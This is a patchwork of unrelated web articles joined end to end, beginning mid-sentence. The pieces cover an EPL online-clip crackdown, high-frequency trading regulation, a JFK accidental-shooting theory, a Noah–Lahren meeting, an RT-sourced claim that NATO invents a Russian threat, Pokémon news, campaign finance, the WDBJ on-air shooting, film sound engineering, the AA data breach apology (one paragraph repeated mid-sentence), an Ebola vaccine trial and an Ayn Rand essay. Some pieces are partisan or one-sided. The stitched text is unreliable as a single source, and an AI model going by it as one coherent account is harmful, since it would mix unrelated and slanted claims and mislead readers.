network. That first requires the cooperation of the site itself. If companies like Twitter, Vine and Reddit give in to the league, these crawlers would certainly wipe out some of the media content uploaded by fans. But it wouldn’t eliminate all of it. As someone who has experience in the video editing world, I’ll just say that professional editors have tricks up their sleeves to get around this kind of thing. Look no further than Major League Baseball, for example. Everybody knows MLB’s “express written consent” policy. It’s been in place for years, but was largely a punchline until the advent of smartphones, GIFs and social media. Only when people started making GIFs, and now Vines, using MLB original content did the league begin to crack down by removing some of the unofficial content uploaded to blogs and the like. But because of the sheer amount of unauthorized content being created, they haven’t been able to get rid of everything. That could be a problem for the EPL media police, too. There’s just too much content being uploaded during every match for the crawlers to catch it all. So, what impact will this have on fans who also watch American football, baseball, basketball, or hockey? While a statement like this is most alarming for EPL fans, it shouldn’t be taken lightly by fans of North American leagues. Even if it appears to do very little, it has already set a precedent. A major professional league is taking a very public stance on the issue, opening the door for other leagues to do the same. Sure, it’s impossible to fully enforce, and the league’s legal standing is murky. But simply by coming out against it, this allows other leagues to cite precedent and makes it more likely that they’ll follow suit. If the crackdown is successful, that’s even more reason for rival leagues to do the same. Pro sports leagues are in constant competition with each other, and they often mimic one another’s policies in order to stay competitive. This vow isn’t really a surprising development, considering there’s a lucrative rights deal involved. There’s an investment to protect. The game has changed, and this is essentially just a response to the popularity of Vine. But the EPL simply doesn’t understand the value of free publicity. Look at the NBA. It’s now a truly global game for many reasons, and one major factor is how tolerant the league is when it comes to sharing online media. This is a league that freely allows users to upload clips to YouTube, Reddit, Vine, Twitter and Facebook. The NBA gets it. It understands how people consume news and highlights now. It’s making nearly $1 billion in the current TV contract with ESPN and TNT. So why not open things up online and promote your product for free? Your key demographic gets exposed to the game and you still have more than enough revenue coming in from broadcast partners and corporate sponsors to thrive as a business. This is why it’s so hard to understand why the EPL would opt for an exclusive online rights deal. Last season, the league and News Corp had an agreement, yet they still allowed online media to be shared and created at will. What was wrong with that arrangement? Now, what we’ll have is a single corporate entity controlling all of the content and prohibiting users from doing it themselves. Competition is good for business. It benefits everyone. It’s what capitalism is all about. But more importantly, limiting the content distribution to one source hampers creativity and stunts the growth of the game. So what’s the solution? If the EPL doesn’t want to go completely liberal like the NBA, it should at least look at how MLB has adapted. Official MLB Twitter accounts now create and embed their own GIFs and Vines. Sure, they’re not the best quality, but it’s the principle. They finally get it. They still go after some bloggers who frequently upload videos, but most of their content is embeddable and available on the official site. Meanwhile, fans are still creating and sharing the content with only rare instances of blow-back from the league. The EPL would do well to compromise here. Start an EPL Advanced Media department. Start producing and sharing your own content. Show your fans that you know how they watch your game. If the league goes forward with its plan to crack down, it will be biting the hand that feeds it. The crusade will just be seen as an affront to the fans. This is bound to make waves in England, and soon enough, the ripples will be felt on the other side of the pond. -The crusade against High Frequency Trading which Zero Hedge started well over two years ago, is now coming to an end. Reuters reports that U.S. securities regulators have "taken the unprecedented step of asking high-frequency trading firms to hand over the details of their trading strategies, and in some cases, their secret computer codes." As everyone knows, the only thing of value within the sub-penny scalping HFT universe are the odd nuances in computer code. Which is why its supreme and undisputed secrecy is sacrosanct. As soon as anyone, especially a regulator, has a whiff of understanding how any given algorithm works, it becomes the equivalent of collapsing the wave function: observing the HFT theft-scalping duality in action eliminates the Schrodinger equation associated with any simplistic algo and collapses its "wave function" to a worthless series of ones and zeros. Said otherwise, this is the end for HFT. More from Reuters: The requests for proprietary code and algorithm parameters by the Financial Industry Regulatory Authority (FINRA), a Wall Street brokerage regulator, are part of investigations into suspicious market activity, said Tom Gira, executive vice president of FINRA's market regulation unit. ``It's not a fishing expedition or educational exercise. It's because there's something that's troubling us in the marketplace,'' he said in an interview. The Securities and Exchange Commission, meanwhile, has also begun making requests for proprietary algorithmic trading data as part of its authority to examine financial firms for compliance with U.S. regulations, according to agency officials and outside lawyers. The requests by SEC examiners are not necessarily related to any suspicions of specific wrong-doing, although the decision to ask for it can be triggered by a tip, complaint or referral. It's all in the code: Trading code is a high-stakes secret for high-frequency firms that battle each other to earn razor-thin profits on tiny price imbalances in the market. Such firms can make thousands of trades per second and provide much liquidity to the market. High-frequency trading is estimated to be involved in more than half of all U.S. stock trading. Regulators have said the algos behind such trading were a factor in the flash crash, but that they did not cause it. Carlo di Florio, who heads the SEC's Office of Compliance, Inspections and Examinations, said the agency started asking firms for proprietary algorithmic trading data over a year ago, and has since more broadly incorporated such requests into its risk-based exams. Most of the algo-related requests, he said, have been made to hedge funds that use quantitative trading strategies. Although some lawyers and industry sources have said the SEC has asked for the actual computer code itself, di Florio said such a request is "very rare." Instead, most of the time the SEC has been asking for research papers containing sensitive information about trade reasoning and proprietary formulas. Luckily once the HFT scourge is over, it will finally return the market to a normal state of liquidity and volume, not the current churn of rebate paying stocks (all 10 of them in a universe of 5000). Yes, some liquidity may be lost. But what remains will set the basis for a return to true efficiency. After this momentuous victory against the "robots", the only event that could possibly top it, would be extrication (by force or otherwise) of the Chairsatan and his globalistic central planning cohort from capital markets. At that point the stage for restoration of normalcy will finally be set. In the meantime we will take it: one day at a time... until the war is finally won. -COLIN McLaren got the bad news the week he started at the police academy: his much-loved Uncle Neil had been killed in a shooting accident. Neil McLaren was a sensible and seasoned shooter but he'd made a mortal error, getting into a car after a shooting trip without checking his shotgun. The car hit a bump, the gun went off and he was dead. His nephew always had that loss hanging over him. He would spend years living dangerously in heavy squads and undercover jobs, dealing with the Walsh St murders and infiltrating Australia's Calabrian mafia. He carried guns, but carefully. He knew mistakes could be fatal. During his time in the force, a policeman called Neil Clinch was shot dead by a policewoman aiming at an "offender" - who was, in fact, a householder fearing the police in his backyard were intruders. Then there was Constable Clare Bourke, shot dead at Sunshine police station by a policeman fooling around with an "empty" pistol. Meanwhile, plenty of other incidents went unreported, such as the one in which a future Assistant Commissioner and another cop were chasing a suspect in Windsor. One of them accidentally shot a passing taxi. The bad guy escaped; the innocent cab driver surrendered immediately. Anyone who has handled guns knows mistakes happen - and that we don't always hear about it. McLaren was reminded of that in 1992 when he took a trip to New York to recover from a tough year investigating the "Mr Cruel" child abductions. He picked up a book in Times Square for the flight to Chicago. The book, Mortal Error, outlined how a ballistics expert called Howard Donahue had proved beyond reasonable doubt that John F. Kennedy was hit in the head by a hollow-point bullet, not the conventional military rounds fired seconds earlier by Lee Harvey Oswald. Donahue identified the origin of the fatal hollow-point - a Secret Service agent with an assault rifle in the open-top escort car behind the President's. The iconic Zapruder film of the Dallas motorcade shows the alarmed Secret Service man clutching the weapon as he tries to stand just after Oswald's shots strike from above. The force of a simple story that fitted the facts satisfied McLaren's detective instincts. To an expert, the bullet fragments revealed a tragic accident caused by Oswald's crazy assassination attempt. This was no convoluted conspiracy theory, of which there were many, including the one peddled by Oliver Stone in his fictionalised hit film JFK. It seemed common sense. But a dry, factual ballistics analysis was never going to compete for public attention with Kevin Costner starring in Stone's fictionalised entertainment. McLaren realised the case needed an independent investigation to test if the other evidence supported Donahue's conclusion that Secret Service agent George Hickey had accidentally finished what Oswald had begun. Who better to do it than an outsider: an Australian investigator with no axe to grind? McLaren was keen but first he had to see out his police career and finish other projects. He wrote two successful books based on his undercover work and built his hospitality business from scratch in northeastern Victoria. Nearly five years ago, he started on the JFK project. As a detective, he says, he was happy to go "where the evidence takes us". He bought a 26-volume set of the official Warren Commission report. Then the 5000-page Assassination Records Review Board finding of 1993, which lifted secrecy provisions on material from 28 Government agencies. It seemed clear that key players had strived to save the Secret Service huge embarrassment by hiding the fact that Kennedy's brain (which vanished immediately after autopsy) had been pulped by one of their own bullets. media_camera Book cover - JFK The Smoking Gun , Colin McLaren McLaren traced 22 witnesses who saw Kennedy shot. Ten had smelled gun smoke and 12 of them saw it at ground level near the Secret Service car. Hickey normally drove but had been handed the weapon because the security detail was shorthanded. Witnesses revealed they had been intimidated and gagged before and during the Warren Commission hearings in 1964. But now they could tell all. McLaren worked with a Canadian production house to film a documentary, which will be aired in North America and Australia (on SBS) next month to follow this week's launch of his book JFK: The Smoking Gun. Hickey died in 2011, which makes it easier to tell the story without the fear of a lawsuit. Hickey had attempted to sue Mortal Error's publishers but failed. McLaren knows that the fact most Americans don't believe the official account of the assassination does not guarantee they will "buy" what he calls his "brief of evidence". But when he launches a three-week publicity tour of the US and Canada today (including the David Letterman show and a Wall Street Journal interview) at least he gets the chance to argue it was a fumbling accident, not a murky assassination conspiracy. Diehard conspiracy theorists might consider the fact that in September 2006, a Secret Service agent accidentally fired his shotgun while guarding the visiting Iranian President. It would the Secret Service years to acknowledge that embarrassing fact, now the subject of a book. Then there's the scandal of the death of an all-American hero, the former NFL footballer Pat Tillman who became a patriotic poster boy for the Afghanistan campaign when he quit a $3 million football contract to join the army after the 9-11 attacks. Tillman's enlistment was such a public relations coup that when he was killed by a trigger-happy American soldier in 2004, the cover-up ran from his own commanders to the White House. Tillman's family were lied to for months about who killed their son. Which would make perfect sense to the Secret Service bosses who apparently covered up George Hickey's blunder for 50 years. One thing is certain: guns go off in the darnedest ways and places. When Lee Harvey Oswald was a marine, he once accidentally shot himself in the leg with his service pistol. -Daily Show host Trevor Noah and someone who once compared Black Lives Matter activists to the Ku Klux Klan reportedly met for "peace" drinks Thursday night. Noah and Blaze commentator Tomi Lahren held a "peace summit" following their much-discussed Daily Show discussion, TMZ reported. In fact, Lahren seemingly spoke at length with TMZ after the meeting and said she is ready to return to Noah's show. Tomi Lahren -- Peace Summit with Trevor Noah ... As for Dating a Black Guy ... (VIDEO + PHOTOS) https://t.co/GAADI39bpN — TMZ (@TMZ) December 2, 2016 "It was two people having a great conversation," Lahren said after being spotted at the Bowery Hotel with Noah. "You can be friends with people you disagree with." When asked about the online response to the interview, Lahren brushed it off. "You're going to watch me either way," she said, adding that she appreciated Noah's invitation and was "ready for round 2." Trevor and @TomiLahren discuss Black Lives Matter, the KKK, and Colin Kaepernick’s national anthem protest. https://t.co/3ZXncZSVdm pic.twitter.com/8YrybRYRBX — The Daily Show (@TheDailyShow) December 1, 2016 Lahren and Noah also exchanged niceties on Twitter Friday, with Noah calling for the destruction of all bubbles: To my fans: Trevor Noah is not a douche or a jerk. To Trevor's fans: I'm not a bitch or c*nt. We are people with opposing views. That's it. — Tomi Lahren (@TomiLahren) December 1, 2016 Thank you for being my guest Tomi. Our goal should be to destroy these "bubbles" not each other. You're always welcome on my show. https://t.co/AairL3cdAy — Trevor Noah (@Trevornoah) December 1, 2016 Lahren's Black Lives Matter comments were discussed during the initial interview, with Noah pointing out the hypocrisy in many so-called conservatives' views on the activist group. "You are the same person who argued on your show that just because Trump has supporters from the KKK doesn't mean he's in the KKK," Noah said. "What if somebody said, 'I felt emboldened by Tomi Lahren so I went out and shot black people'? Are you now responsible?" -Former French Intel Chief: NATO Is Making Up Russian Threat to Justify Their Own Existence NATO is no longer necessary and the dissolution of the Soviet Union proves this. NATO justifies its entire existence by continuing to paint Russia as a security threat, Yves Bonnet, the former head of French counter-intelligence, said in a recent report by RT. Bonnet says the Russians, “are no longer ‘villains’, the Soviet threat has vanished – primarily because the USSR doesn’t exist anymore.” He goes on to say that the claims that Russia’s aggressive behavior is relevant is “exaggerated”. From the RT report: “I believe that NATO intentionally fuels the perception of Russia as a threat… Like any organization, the North Atlantic Alliance wants to continue existing and the only reason for prolonging its existence is you… the Russians,” he said. . . . In the current historic moment, NATO “isn’t a useful organization, but a dangerous one,” Bonnet said, adding that “the North Atlantic Alliance should be disbanded altogether.” “I saw what NATO did in Yugoslavia [in 1999], waging a war there without an international warrant… Now NATO is invading Afghanistan, although this country isn’t in the North Atlantic,” he said. The intelligence veteran slammed the bloc’s policies towards Russia, saying that “it makes no sense to make the Russians worry. It’s completely pointless to make [the Russians] nervous. Don’t tease the ‘Russian bear.’” Bonnet went on to say that he didn’t believe the Russians interfered in the recent French presidential elections, which was a claim voiced by leftist Emmanuel Macron and his associates: “I think that it’s exactly the opposite. The Russians didn’t interfere in the French election. But there was an open influence on the presidential campaign from numerous financial interests, both French and international, in particular Israeli, who supported the presidential campaign of Emmanuel Macron,” Bonnet said. -Wednesday: Pokémon Sun & Moon - News + PokéPark Wii - North American eShop by Serebii This update may be amended throughout the day so be sure to check back. If you have any ideas for the site, be sure to send them in With the generation continuing and Nationals coming up globally, and the Chatroom has been rife with discussion while the WiFi Chatroom has been a place for battles, trades and Friend Safari hunting, so be sure to visit them. Our Forums have also had these discussion and are a bustling trade and competitive section for the games. Be sure to like our FaceBook Page . Last Update: 19:00 BST Edit @ 19:00: PokéPark Wii In The Games Department Pokémon Sun & Moon The official Japanese Pokémon Twitter has confirmed that brand new information for Pokémon Sun & Moon is to be released on June 2nd 2016. It's not currently known what information will be revealed at this time but the second we get any more news it'll be posted right here so be sure to keep checking back. For all currently known information, check our Sun & Moon section In The Games Department PokéPark Wii - Pikachu's Adventure For those of you in North America, the Wii title, PokéPark Wii: Pikachu's Adventure is to hit the Wii U eShop tomorrow for $19.99. This game came out back in 2009 for the Wii and is an Action/Adventure game where you play as Pikachu as he explores the PokéPark, playing mini-games along the way. We covered this game in full back in 2009 so click the image to go to our section. Until Next Time, See Ya -Bernie Sanders Bernard (Bernie) SandersPush to end U.S. support for Saudi war hits Senate setback Sanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' MORE’s presidential campaign raised $15.6 million in the month of May, ending the month with more than $9.2 million in cash on hand, Federal Election Commission reports show. ADVERTISEMENT The influx of cash came even as the Democratic primary for president wound down, with Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE becoming the party's presumptive nominee earlier this month. Hillary Clinton’s campaign raised $28.28 million in May and has more than $42 million in cash on hand, according to monthly fundraising totals released on Monday afternoon. Her campaign noted, in a release breaking down the fundraising, that the average donation was about $44. Meanwhile, presumptive GOP nominee Donald Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE's campaign finished May with just $1.3 million in the bank. Trump raised just $3.1 million for his campaign during May. -Oops. Republican U.S. Senate candidate for New Hampshire Scott Brown fell into a trap he has been working hard to avoid when he listed himself as a Massachusetts state senator in a recent campaign finance filing. The Federal Election Commission document, obtained by WMUR, features a receipt dated September 9, 2014, in which Brown lists “Commonwealth of MA” as the name of his employer and “state senator” under occupation. (Image courtesy of James Pindell, via WMUR) Brown served Massachusetts in the state house from 1998-2004, the state senate from 2004-2010 and in the U.S. Senate from 2010 until he lost to Elizabeth Warren in 2012. He moved to New Hampshire ahead of the 2014 election to run for Senate, anticipating a better chance of victory in the purple state. He’s currently in a dead heat with his opponent, Sen. Jeanne Shaheen (D). Brown’s campaign aides didn’t respond to WMUR or TPM’s queries for comment. An anonymous spokesperson told reporter Alexandra Jaffe of The Hill that the listing of Massachusetts was “a clerical error and the report is being amended and refiled accordingly.” -MONETA, Va. -- A TV reporter and cameraman were shot to death during a live television interview on CBS Roanoke affiliate WDBJ-TV Wednesday by a gunman who recorded himself carrying out the killings and posted the video on social media after fleeing the scene. Station GM's emotional reaction to news crew shooting Authorities identified the suspect as a journalist who had been fired from the station in 2013. Hours later and hundreds of miles away, he ran off the road and a trooper found him with a self-inflicted gunshot wound. He died at a hospital later Wednesday. Virginia State Police Sgt. Rick Garletts said a license-plate reader alerted troopers to the suspect's vehicle. The shots Wednesday morning rang out on-air as reporter Alison Parker and cameraman Adam Ward were presenting a local tourism story at an outdoor shopping mall. Viewers saw her scream and run, and she could be heard saying "Oh my God," as she fell. Ward fell, too, and the camera he had been holding on his shoulder captured a fleeting image of the suspect holding a handgun. WDBJ quickly switched back to the anchor at the station, her eyes large and jaw dropping as she said, "OK, not sure what happened there." The station later went live again, reporting on their own station and staff as the story developed. Ex-ATF official on WDBJ shooting Parker and Ward were killed as the gunman fired about 15 shots. Their interview subject, Vicki Gardner, was in stable condition later Wednesday after surgery for her wounds. The gunman was Vester Lee Flanagan II, 41, of Roanoke, who appeared on WDBJ as Bryce Williams, authorities said. In an interview with CBSN, Jeffrey Marks, WDBJ's president and general manager, said Flanagan's name came to mind "instantly" when he heard about the shooting. Two journalists fatally shot during live on-air segment "He left here in a cloud ... We asked him to leave and that itself was difficult," Marks said. Marks said Flanagan had to be escorted by police out of the station when he was fired. Marks described him as "an unhappy man" and "difficult to work with," always "looking out for people to say things he could take offense to." "Eventually after many incidents of his anger coming to the fore, we dismissed him. He did not take that well," Marks explained. Vester Flanagan CBS News' Jeff Pegues reports that law enforcement sources say Flanagan purchased two glock pistols legally on July 10 from a gun store in Roanoke. Investigators have been to the store. Video posted hours after the shooting on Bryce Williams' Twitter account and Facebook page showed an outstretched arm holding the handgun and firing repeatedly at Parker as she tried to run away. The shooter appeared to walk up to the victims and stand a few feet away from them while holding the weapon. The three, in the midst of a live TV interview, do not seem to notice the gunman, who doesn't start shooting until Ward points the camera at Parker. Ward was engaged to a producer at the station, Melissa Ott, who was celebrating her last day on the job and was in the control room, watching it live, as the shooting unfolded, Marks said. Tweets posted on Williams' Twitter account Wednesday described workplace conflicts with both victims. They say Williams filed a complaint with the Equal Employment Opportunity Commission against Parker, and that Ward had reported Williams to human resources. Marks said Williams alleged that other employees made racially tinged comments to him, but said his EEOC claim was dismissed and none of his allegations could be corroborated. "We think they were fabricated," Marks said. We love you, Alison and Adam. pic.twitter.com/hLSzQi06XE — WDBJ7 (@WDBJ7) August 26, 2015 ABC News reported on its website that the network received a 23-page fax from someone claiming to be Williams. The network said the fax was turned over to authorities. ABC News reports that a man using Williams' name called the network in the past few weeks asking to pitch a story and wanting to fax information. The organization says the man never said what the story was. Then, ABC News says, a fax arrived with a time stamp of 8:26 a.m. Wednesday, nearly two hours after the shooting in Virginia. He called the network just after 10 a.m., introducing himself as Bryce but saying that his legal name was Vester Lee Flanagan and that he had shot two people. That document is being analyzed by investigators, Franklin County Sheriff W.Q. "Bill" Overton Jr. said at a news conference. The 23-page document is a manifesto of sorts, saying he was motivated to kill his former co-workers after the recent Charleston church shootings. The document says Williams bought a gun June 19, two days after authorities say Dylann Roof killed nine people inside a black church. Police have called the Charleston massacre a racially motivated hate crime. According to the network, the man claiming to be Flanagan says in the "suicide note" that he was seeking revenge for racial discrimination, sexual harassment and workplace bullying he said he suffered as a gay black man. The document also cites the Virginia Tech and Columbine High School killers as influences. "This gentleman was disturbed at way things had turned out at some point in his life. Things were spiraling out of control," Overton said. President Obama spoke about the shooting during an interview Wednesday evening with CBS affiliate KIRO in Seattle, saying that his heart goes out to the victims and their families. "I think it's one more argument for why we need to look at how we can reduce gun violence in this country," Mr. Obama said. "Right now, the FBI has been helpful with local authorities in trying to solve what is really a tragic day." Both the victims were romantically involved with other employees at the station, according to Parker's boyfriend, WDBJ anchor Chris Hurst. He wrote online that they hadn't shared their relationship publicly but "were very much in love." He said they had just moved in together and wanted to get married. "I am numb," he said. We didn't share this publicly, but @AParkerWDBJ7 and I were very much in love. We just moved in together. I am numb. pic.twitter.com/tUrHVwAXcN — Chris Hurst (@chrishurstwdbj) August 26, 2015 We were together almost nine months. It was the best nine months of our lives. We wanted to get married.We just celebrated her 24th birthday — Chris Hurst (@chrishurstwdbj) August 26, 2015 The shooting happened around 6:45 a.m. at Bridgewater Plaza in Franklin County, as Parker interviewed Gardner about the upcoming 50th anniversary festivities for Smith Mountain Lake, a local tourism destination. Ward, 27, graduated from Virginia Tech and was engaged to a producer at the station, Melissa Ott, said WDBJ spokesman Mike Morgan. "Adam was our go-to guy. He pretty much was available to do anything that we asked," Morgan said. "He did live shots during our morning show for several years." Parker had just turned 24 and had joined the station as an intern after attending James Madison University, where she was the editor of the school's newspaper, The Breeze. According to her Facebook page, Parker spent most of her life outside Martinsville, Virginia. She was an avid kayaker and attended community theater events in her spare time. The station is based in Roanoke, Virginia, and serves the southwest and central part of the state. The shootings happened at a mall just off Smith Mountain Lake in Moneta, about 25 miles southeast of Roanoke. -The goal of sonic treatment for movies and television is, in a way, to convince you that it doesn’t exist. Sure, we all have our favourite movie themes firmly implanted in our memories, but part of our appreciation for such music resides in the fact that it doesn’t get in the way of the story – it compliments the action, in some way strengthening our emotional connection with the scene. All the other sounds are designed to maintain the suspension of disbelief essential in conveying the plot to the audience. When this is done successfully, the audience can inhabit the world created by the story. And as such, the sonic elements that bring such a world into existence are meticulously curated and executed with precision. In this article, I’ll focus on a few of the basic roles that sounds engineers fill and some of the techniques they use to bring audio to life on the screen. What you hear on film is not always what you might imagine it might be. We take a look at the shadowy art of sound engineering for the pictures. At the Source Just like tracking a band, getting it right at the source is critical. Though much of the sound for film and television is recorded after the filming stage, there are a couple of important reasons, both practical and artistic, for the capturing of sound on location. Ambience To recreate a coherent and realistic sonic atmosphere for a scene, sound will be recorded on location. This is especially the case if the scene happens to take place in a unique sonic environment. If there is a scene in a rainforest for example, what better way to create genuine ambience than to capture the surrounding audio: water trickling in a nearby creek, distant birdsong, the leaves rustling. Even if these sounds were to be replaced later, it is important to have a reference for the potential sounds that may need to included later on. Which brings us to… Dialogue The communication between characters is integral to any story. Like the ambience recording, it may suit the dramatic arc to include on location dialog. More often than not, however, this isn’t case. The raw audio from dialog recording can be compromised by the extraneous ambient sounds and therefore unable to be used in the final mix. Post Production Beyond the on-location phase of recording, post production is where the bulk of audio is curated for a film project. Capturing sounds in a dedicated recording studio that is speedy and efficient enough to meet tight deadlines is essential for the incorporation of uncontaminated audio for the final mixdown. ADR Also known as “dubbing”, this stage of the audio production is completed in a studio in the post production phase. This is in a similar realm to voice over. As you can imagine, recalling the emotional terrain of the initial performance is a great challenge for the actors involved, so ADR is usually recorded with the aid of the original footage. “Looping” is another key term associated with this process. The original footage of the on screen dialog is looped for the actor to record their new dialog. As the footage continues to be looped, the goal for the actor is to precisely match the timing and rhythm of the filmed dialog, in order to make the syncing of picture and sound as smooth as possible (incidentally, the loop record function in Pro Tools makes this task very efficient – simply have the actor perform the slice of dialog in sync with a loop of the recorded footage and takes will be stored for convenient comping). Foley Similar in technique to ADR, “Foley recording” is the synchronising of customised sound effects to the action on screen. Though many sound effects can be efficiently recorded on location, the re-recording of these ambient sounds is essential for the creation of a coherent and authentic sonic palette for any given scene. Foley has a reputation for being one of the most creative and eccentric components soundtrack creation. A massive variety of materials needs to be used judiciously in the art of Foley to create a sense of believability in the incidental sounds in a scene. And though the recording of these sounds involves conventional methods, the studios need to accommodate a range of unique materials like water, sand, foodstuff to different types of flooring mention but a few – it can get messy! It’s important to shed light on these recording techniques. The audio world is a broad spectrum and it’s interesting to remember that sound can be designed to disappear into the background in service of the greater good. This doesn’t make the art any less deliberate or considered though. It’s created to be incidental, but it’s still created. -Customers should ensure that they are not using the same passwords elsewhere on the web. Earlier this week I wrote about the UK Automobile Association’s shambolic response to a reported data breach of its online accessories store which saw some customers’ personal information and partial credit card data exposed. The company appeared to be living in denial of the facts, claiming that no credit card data had been compromised… …even though it clearly had been… Things took a rather absurd twist when Edmund King, the President of the AA, contacted me suggesting I remove the above graphic as it might be “in breach of the Computer Misuse Act”. You can listen to the latest episode of the “Smashing Security” podcast to hear just what I thought of that… Smashing Security #032: ‘The iPhone 8, a data breach at the AA , and a mystery no show’ Your browser does not support this audio element. Listen on Apple Podcasts | Google Podcasts | Other… | RSS Anyway, the important thing now is that on Friday evening the AA finally admitted that it was wrong. Some payment card information was exposed, as well as other personal information and “encrypted” passwords. Customers would be wise to be on their guard against scammers, and you would be sensible to ensure that you are not reusing the same password anywhere on the net. Here is the full text of the AA’s apology: Important information about our AA Accessories Shop on-line customers’ personal data We’re sorry. We are aware of concerns that we fell short in our handling of reports that some personal data from the AA Shop on-line had been compromised. We accept the criticism that the issue should have been handled better. We are grateful for the support of the information security community in flagging issues to us. Some of our customers’ personal data, given to us when they shopped online at our AA shop, became insecure when our service provider made an error with its computer systems leaving backup data exposed. We took steps to correct this when we were notified of this issue and then commissioned an investigation by external experts. This is ongoing, but we can now share the following information: We have notified the relevant authorities. We have emailed all of the customers affected with more details. Some emails may still be going through. The data affected in all cases included names, addresses, phone numbers and email addresses. For some customers who shopped with us prior to October 2014 it will also have included partial payment card information. We do not believe customers who only shopped with us after January 2017 to have been affected at all. Some encrypted passwords were included in the data. Whilst we do not believe that customer accounts at our AA shop were accessed, we are reminding customers of industry advice that they should consider changing their password if they used it on other sites. We will offer support to our customers. Similarly, while there is no information from customers or our specialist advisors that any data has been used for fraudulent activity, we have reminded customers that they should always look out for phishing and other scams. shop were accessed, we are reminding customers of industry advice that they should consider changing their password if they used it on other sites. We will offer support to our customers. Similarly, while there is no information from customers or our specialist advisors that any data has been used for fraudulent activity, we have reminded customers that they should always look out for phishing and other scams. This incident originated from third party systems outside our own network and did not affect main AA systems such as those processing insurance or membership information. systems such as those processing insurance or membership information. Nonetheless, it is clear that our supplier’s security safeguards in this instance fell short of the high standards that we and our customers rightly expect. We know that our customers and the information security community expect and trust us to keep information safe and secure, and apologise wholeheartedly for what has happened. We will continue to work hard to keep customer data as safe as possible. We again thank those of you with an interest in these important matters for your cooperation in helping us improve our data security. Thank you. Edmund Edmund King OBE AA president What a difference in attitude a few days makes. Clearly the data breach notification could have been handled much better. In particular, users should have been informed when the breach was first brought to the AA’s attention in April rather than seemingly swept under the carpet. Still, better late than never I guess… -Image copyright NIAID Image caption A 39-year-old woman was the first volunteer to receive the experimental Ebola vaccine The first human trial of an experimental vaccine against Ebola suggests that it is safe and may help the immune system to combat the virus. Twenty volunteers were immunised in the United States. Scientists at the US National Institutes of Health (NIH) described the results as "promising". The research is published in the New England Journal of Medicine (NEJM). None of those immunised suffered major side-effects and all produced antibodies. Dr Anthony Fauci of the NIH told the BBC: "On safety and on the ability to produce an appropriate immune response we can call this trial an unqualified success, even though it was an early Phase One trial." The volunteers were divided into two groups, receiving either a low or high dose. The antibody response was stronger among those receiving the higher dose. The investigators found that seven of the high dose and two of the low dose volunteers produced T-cell immune responses, which may be important in protection against Ebola viruses. The vaccine uses a chimpanzee cold virus which has been genetically engineered to carry a non-infectious Ebola protein on its surface. Image copyright AFP Image caption A health worker in Conakry, Guinea, wearing protective clothing to treat victims There are four trials under way of this experimental vaccine. The US vaccine is bivalent - aimed at giving protection against the Sudan and Zaire strains of Ebola. It is the latter which is responsible for the current outbreak. Trials of a monovalent vaccine - against the Zaire strain - are also under way in Oxford, Mali and Switzerland. If these also yield positive results then the monovalent vaccine will be offered to thousands of health workers in West Africa. Dr Fauci said: "It will be this large Phase Two/Three trial in West Africa which will show whether the vaccine works and is really safe." He added: "If the outbreak is still going on six months from now and the vaccine at that point is shown to be effective, it could have a very positive impact on the current epidemic." But he said the long-term aim was to produce a vaccine which would protect against future outbreaks. If the vaccine does work, it is unclear how long the protection would last. Indemnity agreement These kinds of questions are usually settled during the early stages of human trials. But such is the pressing humanitarian need for something which protects against Ebola, the whole trial process is being accelerated at unprecedented speed. In an editorial in the NEJM Dr Daniel Bausch said that while the trial left many questions unanswered, an Ebola vaccine was "one step closer". The experimental vaccine is being manufactured by the British drugs giant GlaxoSmithKline (GSK). The company says it can produce one million doses a month by the end of 2015. This will require a significant financial outlay. It is asking for an indemnity agreement in case problems such as unforeseen side effects were to emerge in the future. GSK's chief executive Sir Andrew Witty told the BBC: "We are not waiting for that to be settled [but] it is obvious there are some risks that companies should not be expected to carry on their own." -Revised October 9, 2007 In the late seventies, I went on an Ayn Rand craze. I read most of her works, fiction and non-fiction. I recall sitting in the student center at Bethel College as a young professor of Bible reading Atlas Shrugged. An Old Testament professor from the seminary walked by and saw what I was reading. He paused and said, “That stuff is incredibly dangerous.” He was right. For a certain mindset, she is addicting and remarkably compelling in her atheistic rationalism. To this day, I find her writings paradoxically attractive. I am a Christian Hedonist. This is partly why her work is alluring to me. She had her own brand of hedonism. It was not traditional hedonism that says whatever gives you pleasure is right. Hers was far more complex than that. It seems so close and yet so far to what I find in the Bible. So in this essay, my goals are to introduce Ayn Rand, to describe briefly her impact as a novelist and philosopher, and to assess her ethical theory from a Christian perspective—specifically from the perspective of Christian Hedonism. Though the original form of this essay was written almost thirty years ago, I have had to change very little. Cogent Christian responses to Ayn Rand are few. Positive Christian assessments are almost non-existent. I aim for this treatment to be both Christian and primarily positive, even though Ayn Rand was an atheist and outspokenly anti-Christian. I trust I will be forgiven the presumption of stepping outside my own specialty: My field is neither literary criticism nor philosophy but biblical, theological and pastoral. I write this because I take pleasure in extending to others the delight I have had in learning from Ayn Rand. Who Is Ayn Rand?1 Ayn (rhymes with “pine”) Rand was best known as the author of the novels Atlas Shrugged (1957), The Fountainhead (1943), and We the Living (1936) which together sold over twelve million copies.2 She was born in St. Petersburg, Russia, in 1905, graduated with a degree in history from the University of Leningrad in 1924, and emigrated to the United States in 1926. “I am an American by choice and conviction,” she wrote, “I was born in Europe, but I came to America because this was the country based on my moral premises and the only country where I could be fully free to write.”3 In 1929, she married Frank O’Connor whom she had met (ironically) at Cecil B. de Mille’s Hollywood Studio during the production of The King of Kings. Until The Fountainhead established her as a novelist, Ayn Rand worked as a screenwriter, a filing clerk, a typist, a script reader, and a freelance writer. In 1958, soon after the publication of Atlas Shrugged, Nathaniel Branden, whom Ayn Rand calls her “intellectual heir,”4 began to offer a periodic series of lectures on the basic principles of Objectivism—the philosophy which Ayn Rand had developed in her novels. Together Rand and Branden published The Objectivist Newsletter from 1962 to 1968. This periodical, which applied Rand’s philosophy to contemporary events, was selling over 60,000 copies monthly before Branden ceased to be associated with the project in 1968. From 1968 to 1976, Rand produced a monthly four-page tract called The Ayn Rand Letter which reached a circulation of 15,000. She announced her decision to stop publishing the Letter with these words, “I intend to return, full time to my primary work: writing books. The state of today’s culture is so low that 